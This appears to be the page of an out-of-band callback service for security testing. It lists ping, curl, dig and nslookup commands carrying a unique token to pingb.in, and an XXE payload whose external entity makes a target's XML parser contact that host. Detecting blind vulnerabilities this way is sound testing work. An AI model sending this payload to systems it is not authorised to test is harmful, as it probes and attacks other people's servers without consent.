$ ping -c1 -p 006e3ff60348aac674a0b3310aff3200 pingb.in
 
$ curl pingb.in/p/6e3ff60348aac674a0b3310aff32
 
$ dig 6e3ff60348aac674a0b3310aff32 @pingb.in
 
$ dig 6e3ff60348aac674a0b3310aff32.ns.pingb.in
 
C:\> nslookup 6e3ff60348aac674a0b3310aff32 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6e3ff60348aac674a0b3310aff32">]>
    <foo>&xxe;</foo>
 
Waiting for ping...